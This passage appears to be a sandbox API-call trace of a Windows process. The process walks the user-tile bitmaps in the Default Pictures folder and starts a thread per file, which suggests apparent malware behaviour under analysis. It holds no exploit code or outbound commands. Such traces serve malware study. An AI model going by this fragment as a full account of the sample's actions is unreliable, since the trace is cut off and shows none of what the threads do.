RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933df0 [0140.413] wcscpy (in: _Dest=0x933df0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.413] wcscat (in: _Dest=0x933df0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.413] wcscat (in: _Dest=0x933df0, _Source="usertile28.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" [0140.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0140.723] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0140.723] wcscmp (_String1="usertile29.bmp", _String2=".") returned 1 [0140.723] wcscmp (_String1="usertile29.bmp", _String2="..") returned 1 [0140.723] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933e98 [0140.723] wcscpy (in: _Dest=0x933e98, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.723] wcscat (in: _Dest=0x933e98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.723] wcscat (in: _Dest=0x933e98, _Source="usertile29.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" [0140.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0 [0140.724] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0140.724] wcscmp (_String1="usertile30.bmp", _String2=".") returned 1 [0140.724] wcscmp (_String1="usertile30.bmp", _String2="..") returned 1 [0140.724] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933f40 [0140.724] wcscpy (in: _Dest=0x933f40, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.725] wcscat (in: _Dest=0x933f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.725] wcscat (in: _Dest=0x933f40, _Source="usertile30.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" [0140.725] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0140.726] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0140.726] wcscmp (_String1="usertile31.bmp", _String2=".") returned 1 [0140.726] wcscmp (_String1="usertile31.bmp", _String2="..") returned 1 [0140.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x933fe8 [0140.726] wcscpy (in: _Dest=0x933fe8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.726] wcscat (in: _Dest=0x933fe8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.726] wcscat (in: _Dest=0x933fe8, _Source="usertile31.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" [0140.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x933fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0140.727] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0140.727] wcscmp (_String1="usertile32.bmp", _String2=".") returned 1 [0140.727] wcscmp (_String1="usertile32.bmp", _String2="..") returned 1 [0140.727] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934090 [0140.727] wcscpy (in: _Dest=0x934090, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.727] wcscat (in: _Dest=0x934090, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.727] wcscat (in: _Dest=0x934090, _Source="usertile32.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" [0140.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0140.728] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0140.728] wcscmp (_String1="usertile33.bmp", _String2=".") returned 1 [0140.728] wcscmp (_String1="usertile33.bmp", _String2="..") returned 1 [0140.728] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934138 [0140.728] wcscpy (in: _Dest=0x934138, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.729] wcscat (in: _Dest=0x934138, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.729] wcscat (in: _Dest=0x934138, _Source="usertile33.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" [0140.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0 [0140.730] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0140.730] wcscmp (_String1="usertile34.bmp", _String2=".") returned 1 [0140.730] wcscmp (_String1="usertile34.bmp", _String2="..") returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9341e0 [0140.730] wcscpy (in: _Dest=0x9341e0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.730] wcscat (in: _Dest=0x9341e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.730] wcscat (in: _Dest=0x9341e0, _Source="usertile34.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp" [0140.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9341e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4 [0140.731] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0140.731] wcscmp (_String1="usertile35.bmp", _String2=".") returned 1 [0140.731] wcscmp (_String1="usertile35.bmp", _String2="..") returned 1 [0140.731] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934288 [0140.731] wcscpy (in: _Dest=0x934288, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.731] wcscat (in: _Dest=0x934288, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.731] wcscat (in: _Dest=0x934288, _Source="usertile35.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile35.bmp" [0140.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0140.733] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0140.733] wcscmp (_String1="usertile36.bmp", _String2=".") returned 1 [0140.733] wcscmp (_String1="usertile36.bmp", _String2="..") returned 1 [0140.733] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934330 [0140.733] wcscpy (in: _Dest=0x934330, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.733] wcscat (in: _Dest=0x934330, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.733] wcscat (in: _Dest=0x934330, _Source="usertile36.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile36.bmp" [0140.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0140.734] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0140.734] wcscmp (_String1="usertile37.bmp", _String2=".") returned 1 [0140.734] wcscmp (_String1="usertile37.bmp", _String2="..") returned 1 [0140.734] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9343d8 [0140.734] wcscpy (in: _Dest=0x9343d8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.734] wcscat (in: _Dest=0x9343d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.734] wcscat (in: _Dest=0x9343d8, _Source="usertile37.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile37.bmp" [0140.734] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9343d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0 [0140.735] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0140.735] wcscmp (_String1="usertile38.bmp", _String2=".") returned 1 [0140.735] wcscmp (_String1="usertile38.bmp", _String2="..") returned 1 [0140.735] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934480 [0140.735] wcscpy (in: _Dest=0x934480, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.735] wcscat (in: _Dest=0x934480, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.735] wcscat (in: _Dest=0x934480, _Source="usertile38.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile38.bmp" [0140.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0140.736] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0140.737] wcscmp (_String1="usertile39.bmp", _String2=".") returned 1 [0140.737] wcscmp (_String1="usertile39.bmp", _String2="..") returned 1 [0140.737] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934528 [0140.737] wcscpy (in: _Dest=0x934528, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.737] wcscat (in: _Dest=0x934528, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.737] wcscat (in: _Dest=0x934528, _Source="usertile39.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile39.bmp" [0140.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0140.738] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0140.738] wcscmp (_String1="usertile40.bmp", _String2=".") returned 1 [0140.738] wcscmp (_String1="usertile40.bmp", _String2="..") returned 1 [0140.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9345d0 [0140.738] wcscpy (in: _Dest=0x9345d0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.738] wcscat (in: _Dest=0x9345d0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.738] wcscat (in: _Dest=0x9345d0, _Source="usertile40.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile40.bmp" [0140.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9345d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc [0140.741] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0140.741] wcscmp (_String1="usertile41.bmp", _String2=".") returned 1 [0140.741] wcscmp (_String1="usertile41.bmp", _String2="..") returned 1 [0140.741] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934678 [0140.741] wcscpy (in: _Dest=0x934678, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.742] wcscat (in: _Dest=0x934678, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.742] wcscat (in: _Dest=0x934678, _Source="usertile41.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile41.bmp" [0140.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500 [0140.743] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0140.743] wcscmp (_String1="usertile42.bmp", _String2=".") returned 1 [0140.743] wcscmp (_String1="usertile42.bmp", _String2="..") returned 1 [0140.743] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x934720 [0140.743] wcscpy (in: _Dest=0x934720, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.743] wcscat (in: _Dest=0x934720, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.743] wcscat (in: _Dest=0x934720, _Source="usertile42.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile42.bmp" [0140.743] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x934720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504 [0140.744] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0140.744] wcscmp (_String1="usertile43.bmp", _String2=".") returned 1 [0140.744] wcscmp (_String1="usertile43.bmp", _String2="..") returned 1 [0140.744] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9e) returned 0x9347c8 [0140.745] wcscpy (in: _Dest=0x9347c8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0140.745] wcscat (in: _Dest=0x9347c8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0140.745] wcscat (in: _Dest=0x9347c8, _Source="usertile43.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile43.bmp" [0140.745] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9347c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508 [0140.746] FindNextFileW (in: hFindFile=0x8da110, lpFindFileData=0x907c48 | out: lpFindFileData=0x907c48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, 